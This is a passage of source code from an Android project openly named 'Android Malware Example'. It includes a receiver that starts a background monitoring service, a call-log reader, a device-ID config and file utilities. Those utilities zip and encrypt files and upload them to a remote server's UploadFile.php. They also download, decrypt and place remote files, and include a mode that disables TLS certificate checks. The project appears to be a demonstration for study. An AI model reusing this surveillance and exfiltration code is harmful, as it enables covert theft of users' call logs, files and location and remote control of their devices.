61 |
62 | }
63 | public void DumpSharedPrefs () {
64 |
65 | Map keys = settings.getAll();
66 |
67 | for(Map.Entry entry : keys.entrySet()){
68 | if (configParams.Logging) Log.d(configParams.PROGID,entry.getKey() + ": " + entry.getValue().toString());
69 | }
70 | }
71 | public ConfigParams getConfigParams() {
72 | return configParams;
73 | }
74 | public String getLocalEncKey(){
75 | return(settings.getString("LocalEncKey",""));
76 | }
77 | public void setLocalEncKey(String _key) {
78 | settings.edit().putString("LocalEncKey",_key).commit();
79 | }
80 |
81 | private boolean hasbeeninit(){
82 | Boolean _init = settings.getBoolean("init", false);
83 | return _init;
84 | }
85 | public String getString (String _key, String _input) {
86 |
87 | try{
88 | //return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,"")));
89 | return (settings.getString(_key,""));
90 | } catch (Exception ex) {
91 | return "";
92 |
93 | }
94 | }
95 | public void putEncString(String _key,String _input) {
96 | try {
97 | //settings.edit().putString(encrypt.encryptstring(configParams.LocalEncryptionKey,_key), encrypt.encryptstring(configParams.LocalEncryptionKey, _input));
98 | String _newkey = encrypt.encryptstring(configParams.LocalEncryptionKey,_key);
99 | String _newinput = encrypt.encryptstring(configParams.LocalEncryptionKey,_input);
100 | if (configParams.Logging) Log.d(configParams.PROGID,"Putting SharedPrefs: "+_key+"["+_input+"] as "+ _newkey+"["+_newinput+"]");
101 | settings.edit().putString(_key, encrypt.encryptstring(configParams.LocalEncryptionKey, _input)).commit();
102 | } catch (Exception ex){
103 |
104 | Log.d(configParams.PROGID,"PGMPrefs: Unable to put string: "+_key+"["+_input+"]");
105 | }
106 | }
107 | public String getEncString(String _key){
108 | try{
109 | //return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,"")));
110 | return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,"")));
111 | } catch (Exception ex) {
112 | return "";
113 |
114 | }
115 | }
116 |
117 |
118 |
119 |
120 |
121 | }
122 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/BGReceiver.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 |
24 | import android.content.BroadcastReceiver;
25 | import android.content.Context;
26 | import android.content.Intent;
27 | import android.util.Log;
28 |
29 | public class BGReceiver extends BroadcastReceiver {
30 |
31 | @Override
32 | public void onReceive(Context context, Intent intent) {
33 |
34 |
35 | try{
36 | Intent service = new Intent(context, BGMonitor.class);
37 | context.startService(service);
38 | // Log.d("BGReceiver","Starting Service BGMonitor");
39 | }catch(Exception e){
40 | // Log.d("BGReceiver",e.toString());
41 | }
42 | }
43 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/CallLogHelper.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.ContentResolver;
24 | import android.content.ContentValues;
25 | import android.database.Cursor;
26 | import android.net.Uri;
27 | import android.provider.CallLog;
28 | import android.util.Log;
29 |
30 | /**
31 | * Created by darrylb on 10/3/16.
32 | */
33 | public class CallLogHelper {
34 |
35 | public static Cursor getAllCallLogs(ContentResolver cr) {
36 | // reading all data in descending order according to DATE
37 | String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
38 | Uri callUri = Uri.parse("content://call_log/calls");
39 | Cursor curCallLogs = cr.query(callUri, null, null, null, strOrder);
40 |
41 | return curCallLogs;
42 | }
43 |
44 | // public static void insertPlaceholderCall(ContentResolver contentResolver,
45 | // String name, String number) {
46 | // ContentValues values = new ContentValues();
47 | // values.put(CallLog.Calls.NUMBER, number);
48 | // values.put(CallLog.Calls.DATE, System.currentTimeMillis());
49 | // values.put(CallLog.Calls.DURATION, 0);
50 | // values.put(CallLog.Calls.TYPE, CallLog.Calls.OUTGOING_TYPE);
51 | // values.put(CallLog.Calls.NEW, 1);
52 | // values.put(CallLog.Calls.CACHED_NAME, name);
53 | // values.put(CallLog.Calls.CACHED_NUMBER_TYPE, 0);
54 | // values.put(CallLog.Calls.CACHED_NUMBER_LABEL, "");
55 | // Log.d("Call Log", "Inserting call log placeholder for " + number);
56 | // contentResolver.insert(CallLog.Calls.CONTENT_URI, values);
57 | // }
58 |
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/CameraActivity.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.support.v7.app.AppCompatActivity;
24 | import android.os.Bundle;
25 |
26 | public class CameraActivity extends AppCompatActivity {
27 |
28 | @Override
29 | protected void onCreate(Bundle savedInstanceState) {
30 | super.onCreate(savedInstanceState);
31 | setContentView(R.layout.activity_camera);
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/ConfigParams.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 |
24 | import android.content.Context;
25 | import android.os.Environment;
26 | import android.provider.Settings.Secure;
27 |
28 | import java.io.File;
29 |
30 | /**
31 | * Created by darrylb on 10/2/16.
32 | */
33 | public class ConfigParams {
34 | String PROGID = "BGMonitor";
35 | String HOST = "www.burke-consulting.net";
36 | String EncInitString ="TEMPONLYUNTILFIRSTREQUEST";
37 | String LocalEncryptionKey ="";
38 | //Note not 16bit so encryption will not work . this is intentional
39 | String RemoteEncryptionKey = "";
40 | String UniqueID = "";
41 | String HTTPprotocol="https://";
42 | String BGMonitorBase="/BGM/";;
43 | Boolean Logging = true;
44 | Boolean Debug = true;
45 | Boolean Cleanup =false;
46 | Boolean SSLStrict = true;
47 | Boolean DisplayNotification = true;
48 | Boolean SelfSigned = false;
49 | public File StoragePath;
50 | static final int PERMISSIONS_REQUEST_READ_SMS = 99901;
51 | static final int PERMISSIONS_REQUEST_ALL = 99900;
52 |
53 | public ConfigParams(Context context) {
54 | UniqueID= Secure.getString(context.getContentResolver(),Secure.ANDROID_ID);
55 | StoragePath = Environment.getExternalStorageDirectory();
56 | LocalEncryptionKey = EncInitString;
57 | File _storagepath = new File(Environment.getExternalStorageDirectory().getAbsolutePath()+"/BGM");
58 | StoragePath = _storagepath;
59 | try {
60 | _storagepath.mkdirs();
61 | } catch ( Exception ex){
62 |
63 | }
64 | }
65 | public void SetEncKey(String key){
66 | if (LocalEncryptionKey == EncInitString){
67 | LocalEncryptionKey = key;
68 | }
69 | RemoteEncryptionKey = key;
70 | }
71 |
72 |
73 |
74 | }
75 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/FileUtils.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.net.Uri;
25 | import android.util.Log;
26 | import android.widget.Toast;
27 |
28 | import java.io.BufferedInputStream;
29 | import java.io.BufferedOutputStream;
30 | import java.io.DataOutputStream;
31 | import java.io.File;
32 | import java.io.FileInputStream;
33 | import java.io.FileNotFoundException;
34 | import java.io.FileOutputStream;
35 | import java.io.IOException;
36 | import java.io.InputStream;
37 | import java.net.HttpURLConnection;
38 | import java.net.MalformedURLException;
39 | import java.net.URL;
40 | import java.nio.channels.FileChannel;
41 | import java.security.KeyStore;
42 | import java.security.SecureRandom;
43 | import java.security.cert.Certificate;
44 | import java.security.cert.CertificateException;
45 | import java.security.cert.CertificateFactory;
46 | import java.security.cert.X509Certificate;
47 | import java.util.zip.ZipEntry;
48 | import java.util.zip.ZipInputStream;
49 | import java.util.zip.ZipOutputStream;
50 |
51 | import javax.net.ssl.HostnameVerifier;
52 | import javax.net.ssl.HttpsURLConnection;
53 | import javax.net.ssl.SSLContext;
54 | import javax.net.ssl.SSLSession;
55 | import javax.net.ssl.TrustManagerFactory;
56 | import javax.net.ssl.X509TrustManager;
57 |
58 | import static android.R.attr.key;
59 | import static android.R.attr.path;
60 |
61 | /**
62 | * Created by darrylb on 10/4/16.
63 | */
64 | public class FileUtils {
65 |
66 | Context context;
67 | ConfigParams configParams;
68 | BGMPrefs bgmPrefs;
69 |
70 | public FileUtils( Context _context){
71 | context = _context;
72 | bgmPrefs = new BGMPrefs(context);
73 | configParams = bgmPrefs.getConfigParams();
74 | }
75 |
76 | public void EncryptFile(String ifile){
77 | EncryptFile(ifile,configParams.LocalEncryptionKey);
78 | }
79 | public void EncryptFile(String ifile,String EncKey){
80 | EncryptFile(configParams.StoragePath+ "/", ifile, EncKey);
81 | }
82 |
83 | public void EncryptFile(String path,String ifile,String key){
84 | BGMEncryption _encrypt = new BGMEncryption();
85 | try {
86 | _encrypt.encryptfile(key, path + ifile, path + ifile+".enc");
87 | } catch (Exception ex) {
88 | Log.d(configParams.PROGID,"Unable to encrypt file Key:["+configParams.LocalEncryptionKey+"] InFile:["+path + ifile+"] OutFile:["+ path + ifile+".enc]:"+ex.toString());
89 | }
90 | }
91 |
92 | public void DecryptFile(String ifile){
93 | DecryptFile(ifile,configParams.LocalEncryptionKey);
94 | }
95 | public void DecryptFile(String ifile,String EncKey){
96 | DecryptFile(configParams.StoragePath+ "/", ifile, EncKey);
97 | }
98 | public void DecryptFile(String path,String ifile,String key){
99 | if (configParams.Logging) Log.d(configParams.PROGID,"decrypting file Path ["+path+"] file ["+ifile+".enc] Key:["+key+"]" );
100 | BGMEncryption _encrypt = new BGMEncryption();
101 | try {
102 | _encrypt.decryptfile(key, path+ ifile+".enc", path + ifile);
103 | } catch (Exception ex) {
104 |
105 | if (configParams.Logging) Log.d(configParams.PROGID,"Unable to decrypt file:["+ex.toString()+"]");
106 | }
107 | }
108 |
109 | public void copy(String src, String dst) {
110 | try {
111 | if (configParams.Logging) Log.d(configParams.PROGID,"Copying File ["+src+"] to ["+dst+"]" );
112 | FileInputStream inStream = new FileInputStream(new File(src));
113 | FileOutputStream outStream = new FileOutputStream(new File(dst));
114 | FileChannel inChannel = inStream.getChannel();
115 | FileChannel outChannel = outStream.getChannel();
116 | inChannel.transferTo(0, inChannel.size(), outChannel);
117 | inStream.close();
118 | outStream.close();
119 | } catch (Exception ex) {
120 | if (configParams.Logging) Log.d(configParams.PROGID,"Unable to copy ["+src+"] to ["+dst+"]" );
121 | }
122 | }
123 |
124 | public boolean CompressFile(String ifile, String ofile){
125 |
126 | final int BUFFER = 2048;
127 | if (configParams.Logging) Log.d(configParams.PROGID,"Compressing file: ["+ifile+"] -> ["+ofile+"]");
128 | File sourceFile = new File(configParams.StoragePath+"/"+ifile);
129 | try {
130 | BufferedInputStream origin = null;
131 | FileOutputStream dest = new FileOutputStream(configParams.StoragePath+"/"+ofile);
132 | ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(
133 | dest));
134 | if (sourceFile.isDirectory()) {
135 | zipSubFolder(out, sourceFile, sourceFile.getParent().length());
136 | } else {
137 | byte data[] = new byte[BUFFER];
138 | FileInputStream fi = new FileInputStream(configParams.StoragePath+"/"+ifile);
139 | origin = new BufferedInputStream(fi, BUFFER);
140 | ZipEntry entry = new ZipEntry(getLastPathComponent(configParams.StoragePath+"/"+ifile));
141 | out.putNextEntry(entry);
142 | int count;
143 | while ((count = origin.read(data, 0, BUFFER)) != -1) {
144 | out.write(data, 0, count);
145 | }
146 | }
147 | out.close();
148 | } catch (Exception e) {
149 | e.printStackTrace();
150 | return false;
151 | }
152 | return true;
153 | }
154 |
155 | public String InflateFile(String path, String zipname){
156 | if (configParams.Logging) Log.d(configParams.PROGID,"Inflating File:["+path + zipname+"]");
157 | String response ="";
158 | InputStream is;
159 | ZipInputStream zis;
160 | try {
161 | String filename;
162 | is = new FileInputStream(path + zipname);
163 | zis = new ZipInputStream(new BufferedInputStream(is));
164 | ZipEntry mZipEntry;
165 | byte[] buffer = new byte[1024];
166 | int count;
167 |
168 | while ((mZipEntry = zis.getNextEntry()) != null) {
169 | // zapis do souboru
170 | filename = mZipEntry.getName();
171 |
172 | if (configParams.Logging) Log.d(configParams.PROGID,"zip File:["+filename+"]");
173 | if (response.length()==0)
174 | response=filename;
175 | else
176 | response="Multiple";
177 | // Need to create directories if not exists, or
178 | // it will generate an Exception...
179 | if (mZipEntry.isDirectory()) {
180 | File fmd = new File(path + filename);
181 | fmd.mkdirs();
182 | continue;
183 | }
184 |
185 | FileOutputStream fout = new FileOutputStream(path + filename);
186 |
187 | // cteni zipu a zapis
188 | while ((count = zis.read(buffer)) != -1) {
189 | fout.write(buffer, 0, count);
190 | }
191 |
192 | fout.close();
193 | zis.closeEntry();
194 | if (configParams.Logging) Log.d(configParams.PROGID,"Inflating file: ["+zipname+"] Success");
195 | }
196 |
197 | zis.close();
198 | } catch (IOException e) {
199 | e.printStackTrace();
200 | return response;
201 | }
202 |
203 | return response;
204 | }
205 |
206 |
207 |
208 | public String getLastPathComponent(String filePath) {
209 | String[] segments = filePath.split("/");
210 | if (segments.length == 0)
211 | return "";
212 | String lastPathComponent = segments[segments.length - 1];
213 | return lastPathComponent;
214 | }
215 |
216 | private void zipSubFolder(ZipOutputStream out, File folder,int basePathLength) throws IOException {
217 |
218 | final int BUFFER = 2048;
219 |
220 | File[] fileList = folder.listFiles();
221 | BufferedInputStream origin = null;
222 | for (File file : fileList) {
223 | if (file.isDirectory()) {
224 | zipSubFolder(out, file, basePathLength);
225 | } else {
226 | byte data[] = new byte[BUFFER];
227 | String unmodifiedFilePath = file.getPath();
228 | String relativePath = unmodifiedFilePath
229 | .substring(basePathLength);
230 | FileInputStream fi = new FileInputStream(unmodifiedFilePath);
231 | origin = new BufferedInputStream(fi, BUFFER);
232 | ZipEntry entry = new ZipEntry(relativePath);
233 | out.putNextEntry(entry);
234 | int count;
235 | while ((count = origin.read(data, 0, BUFFER)) != -1) {
236 | out.write(data, 0, count);
237 | }
238 | origin.close();
239 | }
240 | }
241 | }
242 |
243 |
244 |
245 | public int downloadFile(String url, String filedestination, String EncKey ) {
246 |
247 | if(configParams.Logging) Log.d(configParams.PROGID,"Download File:["+url+"]");
248 |
249 | final int BUFFER_SIZE = 4096;
250 |
251 | int serverResponseCode = 0;
252 | String saveFilePath="";
253 | String saveFile="";
254 |
255 | HttpURLConnection connection;
256 | DataOutputStream dataOutputStream;
257 |
258 | try{
259 |
260 | URL fileurl = new URL(url);
261 |
262 | if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){
263 | //create code to trust a self signed cert
264 | // Note you need the pem file to be in the App config to trust it
265 |
266 | Uri.Builder builder = new Uri.Builder()
267 | .appendQueryParameter("DeviceID", configParams.UniqueID);
268 | String query = builder.build().getEncodedQuery();
269 |
270 | if (configParams.SelfSigned)
271 | setUpHttpsConnection(query);
272 |
273 |
274 |
275 | }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){
276 | // //trust all certs !!! Warning Dangerous
277 | //
278 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){
279 | public boolean verify(String hostname, SSLSession session) {
280 | return true;
281 | }});
282 | SSLContext context = SSLContext.getInstance("TLS");
283 | context.init(null, new X509TrustManager[]{new X509TrustManager(){
284 | public void checkClientTrusted(X509Certificate[] chain,
285 | String authType) throws CertificateException {}
286 | public void checkServerTrusted(X509Certificate[] chain,
287 | String authType) throws CertificateException {}
288 | public X509Certificate[] getAcceptedIssuers() {
289 | return new X509Certificate[0];
290 | }}}, new SecureRandom());
291 | HttpsURLConnection.setDefaultSSLSocketFactory(
292 | context.getSocketFactory());
293 | //
294 | }
295 | //
296 | //
297 | //
298 | //
299 | //
300 | connection = (HttpURLConnection) fileurl.openConnection();
301 | serverResponseCode = connection.getResponseCode();
302 |
303 |
304 | if (serverResponseCode == HttpURLConnection.HTTP_OK) {
305 | // String fileName = "";
306 | String disposition = connection.getHeaderField("Content-Disposition");
307 | String contentType = connection.getContentType();
308 | int contentLength = connection.getContentLength();
309 |
310 | if (disposition != null) {
311 | // extracts file name from header field
312 | int index = disposition.indexOf("filename=");
313 | if (index > 0) {
314 | saveFile = disposition.substring(index + 10,
315 | disposition.length() - 1);
316 | }
317 | } else {
318 | // extracts file name from URL
319 | saveFile = url.substring(url.lastIndexOf("/") + 1,
320 | url.length());
321 | }
322 |
323 | if(configParams.Logging) Log.d(configParams.PROGID,"Content-Type = " + contentType );
324 | if(configParams.Logging) Log.d(configParams.PROGID,"Content-Disposition = " + disposition);
325 | if(configParams.Logging) Log.d(configParams.PROGID,"Content-Length = " + contentLength);
326 | if(configParams.Logging) Log.d(configParams.PROGID,"fileName = " + saveFile);
327 |
328 | // opens input stream from the HTTP connection
329 | InputStream inputStream = connection.getInputStream();
330 |
331 | saveFilePath = configParams.StoragePath + "/" + saveFile;
332 | if(configParams.Logging) Log.d(configParams.PROGID,"File downloading to:["+saveFilePath+"]");
333 |
334 |
335 | // opens an output stream to save into file
336 | FileOutputStream outputStream = new FileOutputStream(saveFilePath);
337 |
338 | int bytesRead = -1;
339 | byte[] buffer = new byte[BUFFER_SIZE];
340 | while ((bytesRead = inputStream.read(buffer)) != -1) {
341 | outputStream.write(buffer, 0, bytesRead);
342 | }
343 |
344 | outputStream.close();
345 | inputStream.close();
346 |
347 | if(configParams.Logging) Log.d(configParams.PROGID,"File downloaded");
348 | } else {
349 | if(configParams.Logging) Log.d(configParams.PROGID,"No file to download. Server replied HTTP code: " + serverResponseCode);
350 | }
351 | connection.disconnect();
352 |
353 | } catch (Exception e) {
354 | e.printStackTrace();
355 | Log.d(configParams.PROGID,"Error:"+e.toString());
356 |
357 | }
358 | // process file if successful
359 |
360 | if (serverResponseCode == 200 ){
361 | // decrypt if necessary then copy file
362 |
363 |
364 |
365 | if (EncKey.length() > 0 ) {
366 |
367 | DecryptFile(saveFilePath.replace(saveFile,""),saveFile.replace(".enc",""),EncKey );
368 |
369 | if (saveFilePath.replace(".enc","").endsWith(".zip")){
370 | String _files = InflateFile(configParams.StoragePath.getPath()+"/",saveFile.replace(".enc",""));
371 | if (_files.length()==0){
372 | if (configParams.Logging) Log.d(configParams.PROGID, "No files found in zip");
373 | } else if (_files.equals("Multiple")){
374 | if (configParams.Logging) Log.d(configParams.PROGID, "Cannot copy multiple files in zip: Ignoring copy");
375 | }else {
376 | if (configParams.Logging) Log.d(configParams.PROGID, "Copying file:["+_files+"] found in zip file");
377 |
378 | copy( configParams.StoragePath+"/"+_files,filedestination);
379 |
380 | }
381 |
382 | } else {
383 | copy( saveFilePath.replace(".enc",""),filedestination);
384 |
385 | }
386 |
387 |
388 | }
389 |
390 |
391 |
392 | }
393 | return serverResponseCode;
394 |
395 |
396 |
397 | }
398 | public int uploadFile(final String selectedFilePath){
399 |
400 | if(configParams.Logging) Log.d(configParams.PROGID,"Sending File:["+selectedFilePath+"]");
401 | int serverResponseCode = 0;
402 |
403 | HttpURLConnection connection;
404 | DataOutputStream dataOutputStream;
405 | String lineEnd = "\r\n";
406 | String twoHyphens = "--";
407 | String boundary = "*****";
408 |
409 |
410 | int bytesRead,bytesAvailable,bufferSize;
411 | byte[] buffer;
412 | int maxBufferSize = 1 * 1024 * 1024;
413 | File selectedFile = new File(selectedFilePath);
414 |
415 |
416 | String[] parts = selectedFilePath.split("/");
417 | final String fileName = parts[parts.length-1];
418 |
419 | if (!selectedFile.isFile()){
420 | return 0;
421 | }else{
422 | try{
423 | FileInputStream fileInputStream = new FileInputStream(selectedFile);
424 | //URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + "UploadFile.php");
425 | URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + "UploadFile.php");
426 |
427 |
428 |
429 | if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){
430 | //create code to trust a self signed cert
431 | // Note you need the pem file to be in the App config to trust it
432 |
433 | Uri.Builder builder = new Uri.Builder()
434 | .appendQueryParameter("DeviceID", configParams.UniqueID);
435 | String query = builder.build().getEncodedQuery();
436 |
437 | if (configParams.SelfSigned)
438 | setUpHttpsConnection(query);
439 |
440 |
441 |
442 | }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){
443 | //trust all certs !!! Warning Dangerous
444 |
445 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){
446 | public boolean verify(String hostname, SSLSession session) {
447 | return true;
448 | }});
449 | SSLContext context = SSLContext.getInstance("TLS");
450 | context.init(null, new X509TrustManager[]{new X509TrustManager(){
451 | public void checkClientTrusted(X509Certificate[] chain,
452 | String authType) throws CertificateException {}
453 | public void checkServerTrusted(X509Certificate[] chain,
454 | String authType) throws CertificateException {}
455 | public X509Certificate[] getAcceptedIssuers() {
456 | return new X509Certificate[0];
457 | }}}, new SecureRandom());
458 | HttpsURLConnection.setDefaultSSLSocketFactory(
459 | context.getSocketFactory());
460 |
461 | }
462 |
463 |
464 |
465 |
466 |
467 | connection = (HttpURLConnection) url.openConnection();
468 | connection.setDoInput(true);//Allow Inputs
469 | connection.setDoOutput(true);//Allow Outputs
470 | connection.setUseCaches(false);//Don't use a cached Copy
471 | connection.setRequestMethod("POST");
472 | connection.setRequestProperty("Connection", "Keep-Alive");
473 | connection.setRequestProperty("ENCTYPE", "multipart/form-data");
474 | connection.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary);
475 | connection.setRequestProperty("uploaded_file",selectedFilePath);
476 | connection.setRequestProperty("deviceid",configParams.UniqueID);
477 |
478 |
479 | //creating new dataoutputstream
480 | dataOutputStream = new DataOutputStream(connection.getOutputStream());
481 |
482 | //writing bytes to data outputstream
483 | dataOutputStream.writeBytes(twoHyphens + boundary + lineEnd);
484 | dataOutputStream.writeBytes("Content-Disposition: form-data; DDD=\"ddd\";name=\"uploaded_file\";filename=\""
485 | + selectedFilePath + "\"" + lineEnd);
486 |
487 | dataOutputStream.writeBytes(lineEnd);
488 |
489 | //returns no. of bytes present in fileInputStream
490 | bytesAvailable = fileInputStream.available();
491 | //selecting the buffer size as minimum of available bytes or 1 MB
492 | bufferSize = Math.min(bytesAvailable,maxBufferSize);
493 | //setting the buffer as byte array of size of bufferSize
494 | buffer = new byte[bufferSize];
495 |
496 | //reads bytes from FileInputStream(from 0th index of buffer to buffersize)
497 | bytesRead = fileInputStream.read(buffer,0,bufferSize);
498 |
499 | //loop repeats till bytesRead = -1, i.e., no bytes are left to read
500 | while (bytesRead > 0){
501 | //write the bytes read from inputstream
502 | dataOutputStream.write(buffer,0,bufferSize);
503 | bytesAvailable = fileInputStream.available();
504 | bufferSize = Math.min(bytesAvailable,maxBufferSize);
505 | bytesRead = fileInputStream.read(buffer,0,bufferSize);
506 | }
507 |
508 | dataOutputStream.writeBytes(lineEnd);
509 | dataOutputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
510 |
511 | serverResponseCode = connection.getResponseCode();
512 | String serverResponseMessage = connection.getResponseMessage();
513 |
514 | if (configParams.Logging) Log.d(configParams.PROGID, "Server Response is: " + serverResponseMessage + ": " + serverResponseCode);
515 |
516 | //response code of 200 indicates the server status OK
517 |
518 | //closing the input and output streams
519 | fileInputStream.close();
520 | dataOutputStream.flush();
521 | dataOutputStream.close();
522 |
523 |
524 |
525 | } catch (Exception e) {
526 | e.printStackTrace();
527 | Log.d(configParams.PROGID,"Error:"+e.toString());
528 |
529 | }
530 |
531 | return serverResponseCode;
532 | }
533 |
534 | }
535 | public void setUpHttpsConnection(String urlString)
536 | {
537 | try
538 | {
539 | // Load CAs from an InputStream
540 | // (could be from a resource or ByteArrayInputStream or ...)
541 | CertificateFactory cf = CertificateFactory.getInstance("X.509");
542 |
543 | InputStream caInput = new BufferedInputStream(context.getAssets().open("server.crt"));
544 | Certificate ca = cf.generateCertificate(caInput);
545 | if (configParams.Logging) Log.d(configParams.PROGID,"ca=" + ((X509Certificate) ca).getSubjectDN());
546 |
547 | // Create a KeyStore containing our trusted CAs
548 | String keyStoreType = KeyStore.getDefaultType();
549 | KeyStore keyStore = KeyStore.getInstance(keyStoreType);
550 | keyStore.load(null, null);
551 | keyStore.setCertificateEntry("ca", ca);
552 |
553 | // Create a TrustManager that trusts the CAs in our KeyStore
554 | String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
555 | TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
556 | tmf.init(keyStore);
557 |
558 | // Create an SSLContext that uses our TrustManager
559 | SSLContext context = SSLContext.getInstance("TLS");
560 | context.init(null, tmf.getTrustManagers(), null);
561 |
562 |
563 | // Tell the URLConnection to use a SocketFactory from our SSLContext
564 |
565 | HttpsURLConnection.setDefaultSSLSocketFactory(
566 | context.getSocketFactory());
567 |
568 | }
569 | catch (Exception ex)
570 | {
571 |
572 | Log.d(configParams.PROGID,"NetworkHandler: Error creating own Trust Manager");
573 | }
574 | }
575 |
576 | }
577 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GPSLocation.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.location.Location;
25 | import android.location.LocationListener;
26 | import android.location.LocationManager;
27 | import android.os.Bundle;
28 | import android.util.Log;
29 |
30 |
31 | public class GPSLocation implements LocationListener {
32 | Context context;
33 | protected LocationManager locationManager;
34 | boolean isGPSEnabled = false;
35 | boolean isNetworkEnabled = false;
36 | boolean canGetLocation = false;
37 | ConfigParams configParams;
38 |
39 | Location location; // location
40 | LatLon latlon = new LatLon();
41 |
42 | //double latitude=9999; // latitude
43 | //double longitude=9999; // longitude
44 |
45 |
46 | // The minimum distance to change Updates in meters
47 | private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 5; // 10 meters
48 |
49 | // The minimum time between updates in milliseconds
50 | private static final long MIN_TIME_BW_UPDATES = 10000; // 1 second
51 |
52 | public GPSLocation(Context _context) {
53 | context = _context;
54 | configParams = new ConfigParams(context);
55 | locationManager = (LocationManager) context
56 | .getSystemService(Context.LOCATION_SERVICE);
